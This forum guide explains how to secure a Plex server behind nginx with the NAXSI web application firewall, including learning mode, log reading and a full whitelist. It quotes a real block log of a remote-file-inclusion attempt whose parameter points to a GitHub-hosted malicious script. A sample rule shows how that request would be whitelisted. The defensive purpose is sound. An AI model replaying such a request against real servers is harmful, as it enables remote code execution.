[GUIDE] HOWTO: secure nginx with NAXSI (whitelist included)

Disclaimer

I, by no means, am a networking specialist nor a developer. Like i pointed out in my CSP Headers Post I’m the learning-by-doing type and do not fully understand what the technical details are. So if you do have anything to add, every bit is appreciated. I’d like this to be as accurate as it can get, relatively speaking.

So, then why am I even doing a tutorial?: Well, ain’t nobody else doing it. And you literally can’t make your network security worse than it was before by enabling WAF NAXSI rules. Even if you whitelist 95% of the rules, that’s still an improvement of 5%.

I strongly advise you to first read the entire post, before just copying and pasting what I’ve done into your setup.


guide last updated/checked: 05.07.2025
whitelist last updated: 09.09.2025
Plex Web Version 4.147.1

INTRO

After my post on CSP Headers for nginx I’ve found my way to setting up a WAF.
A Web Application Firewall (short WAF) will protect the server from client misuse. Basically it checks if the requests contain funky stuff like code designed to break the app (e.g. Plex Server). Mostly it’s aimed towards fighting off bots and script kiddies, but even if you, like me, trust that your users have pure intentions, it doesn’t prevent them from catching a virus or something.


Example WAF block log

2022/04/06 07:37:41 [error] 45764#100398: *16908 NAXSI_FMT: ip=107.172.100.198
server=plex.mydomain
uri=/wpindex.php
vers=1.3
total_processed=201
total_blocked=1
config=block
score0=8
zone0=ARGS
id0=1101
var_name0=idb
 client: 107.172.100.198
 server: plex.mydomain
 request: "GET /wpindex.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/2.0"
 host: "plex.mydomain"
 referrer: "anonymousfox.co"

This is a typical WAF log I get from time to time. As seen, a malicious actor issued a GET request to my server, testing if the popular webserver location /wpindex.php would execute a malicious custom script downloaded straight from a (now removed) GitHub repository. Now, Plex doesn’t use Wordpress and thus this attempt would’ve failed with or without a WAF, but it goes to show, that a WAF will intervene in these type of scenarios.


NAXSI and what it does

NAXSI (Nginx Anti XSS & SQL Injection) is the industry standard for nginx based WAFs (modsecurity is also a solid choice). I’m going to focus on NAXSI, which is baked into the Opnsense Nginx plugin I’m using (Opnsense docs). If you don’t have NAXSI installed, here are the official compiling instructions (never did it myself, so you might have to google a bit).

The basis of NAXSI are its core rules. These are the foundation of “block funky s**t”. Since these will pretty much block any interactive aspect of Plex you need to define whitelist rules to re-enable false-flagged functionality.

This is done by first adding all core rules to your nginx config and enabling “Learning mode”, which basically means “don’t block, only report”, so you can curate a whitelist while browsing through all Plex functions unhindered.

Now, imho, curating whitelist rules and what/how/when to whitelist a specific request is a PITA in the beginning, but once you get the hang of what the hell is even going on in the logs, it gets easier very quick. Still a lot of work. I suggest brushing up on regex, it’s very useful, maybe not for Plex whitelisting specifically, but if you’re doing other WAF whitelists for the likes of *arr and other accompanying software, it’s worth its time in gold. (btw, hmu if you want my WAF config for that, too)
NOTE: when using regex in NAXSI rules, you can’t use the vertical bar | as an “or” operator. Found out the hard way. Has to do with NAXSI syntax. No workaround afaik.


HOW TO WRITE A WHITELIST

(just educational, you can find my whitelist further down)

There are around 60-ish core NAXSI rules (aka Main Rules).
When you define a whitelist rule (aka Basic Rule) you have to specify which Main rule it should apply to/whitelist. Going back to our example from above, if we’d wan’t to allow downloading that random totally-not-malicious script, we’d do the following.

But first analogy time: You want to throw a party and want to invite some friends. You don’t wanna invite everybody, so you don’t post it on Facebook but rather send out Letters. We’ve got the City MainRule ID, the street name URI, the house number zone and the specific person living there var_name. You could just invite everybody from the city your friend lives in, and he’ll definitely get the invite, but you’ll have a lot of unwanted guests eventually. You’d rather be as specific as possible to not invite your Ex to the party.

So, back to our example from before. From the logs:

  1. The triggered Mainrule is id0=1101 (see it here in the core rules)
  2. the location is uri=/wpindex.php
  3. the type is zone0=ARGS
  4. and the offending variable name is var_name0=idb

Our Whitelist rule (aka BasicRule) now looks like this:

# All conditions need to be met. 
BasicRule wl:1101 "mz:$URL:/wpindex.php|ARGS:idb";

Here is a more in-depth guide on whitelist rules.


WHITELIST PROCESS GUIDE:

(for Opnsense, but applicable in general)

  1. enable NAXSI core rules with learning mode enabled
    In Opnsense WebUI go to your Plex location and hit “Enable WAF”+“Learning mode” and under custom security policy select all IDs: .... You might have to visit the Naxsi WAF Rule config page to be prompted to auto download the naxsi rules. Apply/save/reload.
  2. start browsing Plex on multiple devices doing lots of different stuff
    In this step it is crucial that you don’t access plex directly. You have to go through nginx. Either use the proxy’s IP address (only works if plex isn’t a subdomain) or a VPN or plainly block your add a firewall rule to block direct acces to your plex machine (please don’t lock yourself out).
    start different streams (direct/transcoding/subs), change+apply all settings, etc… just cover all functionality.
  3. check logs
    You’ll now have an insane list of NAXSI errors in /var/log/nginx/yourplex.error.log which you have to siff through. I’d suggest using something like notepad++ and doing a search and replace all matching regex: first create newlines between every error by replacing all \n with \n\n and next [,&] with \n (enable/tick regex first ofc. The logs will instantly become more human readable and should look like something in the example at the top of this post.
  4. create whitelist entry by
    4.1 checking logs and looking at these fields: the id(Main Rule ID, that got triggered), uri(path), zone(what http method) and var_name (which variable violated the Rule). More than often, you’ll have the same violation in multiple locations (uri), that’s where you could regex (don’t forget to check “enable regex”. This also applies to var_name). Sometimes var_name will be empty in the logs, so you’ll have to check “any” in the matched zone.
    4.2. Create and add NAXSI Rule to nginx:
    For Opnsense users: With all the infos from a) go to NAXSI WAF rule and create a new rule, fill out all your fields, give it some name (repeat for all your rules), add them all to a Naxsi WAF Policy named Plex or something and add that Policy to your Plex location under custom security policy. For non Opnsense ppl here is the wiki on how to create a whitelist rule by hand. It’s really not that difficult. So don’t shy away from it now. The scheme looks something like this:
    BasicRule wl:<MainRule-ID> "mz:$URL:<URI>|<zone>:<var_name>";. If you’re using regex you need to add _X to $URL and the zone (meaning $URL_X)
    4.3. clear logs, save and reload nginx
  5. repeat and refine.
    This is the part where you test your new config. Keep in mind, that browsers will cache certain parts of Plex and thus won’t always reflect recent changes. The logs will be correct tho. Delete the logs after you’ve implemented them in Rules, so that, on the next run you don’t accidentally double your work.

Getting started takes time. Don’t expect to be done with this within an hour.
Once a repeat-loop doesn’t throw any NAXSI errors at you, disable learning mode and test again. Maybe go over your whitelist rules and see, where you’ve defined a rule to broadly and narrow it down. Keep in mind regex requires more computation than just a regular string search, so don’t overdo it.


WHAT I CAME UP WITH

There still might be some edge cases that I haven’t yet encountered, but I’ll be sure to add them when I find the time to do so. Just check in once in a while and check the date

# last update 09.09.2025
BasicRule wl:11 "mz:$URL:/:/prefs|BODY";
BasicRule wl:11 "mz:$URL:/actions/removeFromContinueWatching|BODY";
BasicRule wl:11 "mz:$URL:/library/clean/bundles|BODY";
BasicRule wl:11 "mz:$URL:/library/optimize|BODY";
BasicRule wl:11 "mz:$URL:/media/grabbers/devices/discover|BODY";
BasicRule wl:11 "mz:$URL:/myplex/refreshReachability|BODY";
BasicRule wl:11 "mz:$URL_X:/accounts/[0-9]+|BODY";
BasicRule wl:11 "mz:$URL_X:/library/metadata/[0-9]+/[anlyzerfshtd]+|BODY";
BasicRule wl:11 "mz:$URL_X:/library/parts/[0-9]+|BODY";
BasicRule wl:11 "mz:$URL_X:/playQueues/[0-9]+/(un)?shuffle|BODY";
BasicRule wl:11 "mz:$URL_X:^/[libraryhus]+/|BODY";
BasicRule wl:11 "mz:$URL_X:^/hubs/sections/[0-9]+/manage/|BODY";
BasicRule wl:11 "mz:$URL_X:^/playlists|BODY";
BasicRule wl:11,15 "mz:$URL:/playQueues|BODY";
BasicRule wl:11,1000 "mz:$URL:/updater/check|BODY|URL";
BasicRule wl:11,1015 "mz:$URL_X:^/system/agents/|BODY";
BasicRule wl:17 "mz:$URL:/photo/:/transcode|$HEADERS_VAR:accept";
BasicRule wl:17 "mz:$URL_X:^/library/parts/\d+/\d+/|$HEADERS_VAR_X:accept";
BasicRule wl:1000 "mz:$URL:/:/timeline|$ARGS_VAR:updatedAt";
BasicRule wl:1000 "mz:$URL:/actions/removeFromContinueWatching|URL";
BasicRule wl:1000 "mz:$URL_X:/accounts/[0-9]+|$BODY_VAR_X:autoSelectAudio";
BasicRule wl:1000,1302,1303 "mz:$URL_X:^/[libraryhus]+/sections/|ARGS|NAME";
BasicRule wl:1002 "mz:$URL:/video/:/transcode/universal/decision|$ARGS_VAR:videoResolution";
BasicRule wl:1005,1009,1010,1011,1015,1315 "mz:$ARGS_VAR:X-Plex-Client-Profile-Extra";
BasicRule wl:1007 "mz:$ARGS_VAR:X-Plex-Token";
BasicRule wl:1009,1010,1011,1015 "mz:$ARGS_VAR:X-Plex-Product";
BasicRule wl:1009,1100,1101,1315 "mz:$URL:/photo/:/transcode|$ARGS_VAR:url";
BasicRule wl:1011,1010 "mz:$URL:/:/timeline|$ARGS_VAR:guid";
BasicRule wl:1015 "mz:$ARGS_VAR:X-Plex-Features";
BasicRule wl:1015 "mz:$ARGS_VAR:excludeElements";
BasicRule wl:1015 "mz:$ARGS_VAR:excludeFields";
BasicRule wl:1015 "mz:$ARGS_VAR:includeElements";
BasicRule wl:1015 "mz:$ARGS_VAR:includeFields";
BasicRule wl:1015 "mz:$ARGS_VAR:uri";
BasicRule wl:1015 "mz:$ARGS_VAR_X:(pinned)?ContentDirectoryID";
BasicRule wl:1015 "mz:$BODY_VAR:title";
BasicRule wl:1015 "mz:$URL:/library/search|$ARGS_VAR:searchTypes";
BasicRule wl:1015 "mz:$URL_X:^/[librayhus]+/|$ARGS_VAR_X:includeElements";
BasicRule wl:1015 "mz:$URL_X:^/library/metadata/|URL";
BasicRule wl:1015,1000 "mz:$URL:/library/all|ARGS";
BasicRule wl:1015,1002 "mz:$ARGS_VAR:X-Plex-Device-Screen-Resolution";
BasicRule wl:1015,1101 "mz:$URL:/:/prefs|$ARGS_VAR:customConnections";
BasicRule wl:1101 "mz:$URL:/:/timeline|$ARGS_VAR:url";
BasicRule wl:1101 "mz:$URL:/:/timeline|$ARGS_VAR:utm_referer";
BasicRule wl:1303,1302 "mz:$URL:/library/all/top|ARGS|NAME";
BasicRule wl:1303,1302 "mz:$URL:/library/all|ARGS|NAME";
BasicRule wl:1303,1302 "mz:$URL:/statistics/media|ARGS|NAME";
BasicRule wl:1303,1302 "mz:$URL:/status/sessions/history/all|ARGS|NAME";
BasicRule wl:1310,1311 "mz:$URL_X:^/library/sections/[0-9]+|$BODY_VAR_X:prefs[includeExtrasWithLocalizedSubtitles]";

Assuming you have NAXSI compiled/setup, you can copy paste these rules as-is into your plex location block.

As always: keep the feedback coming and hmu if something doesn’t works. Send me the NAXSI error logs, if you get any so that i can look at them.

4 Likes

This topic was automatically closed 90 days after the last reply. New replies are no longer allowed.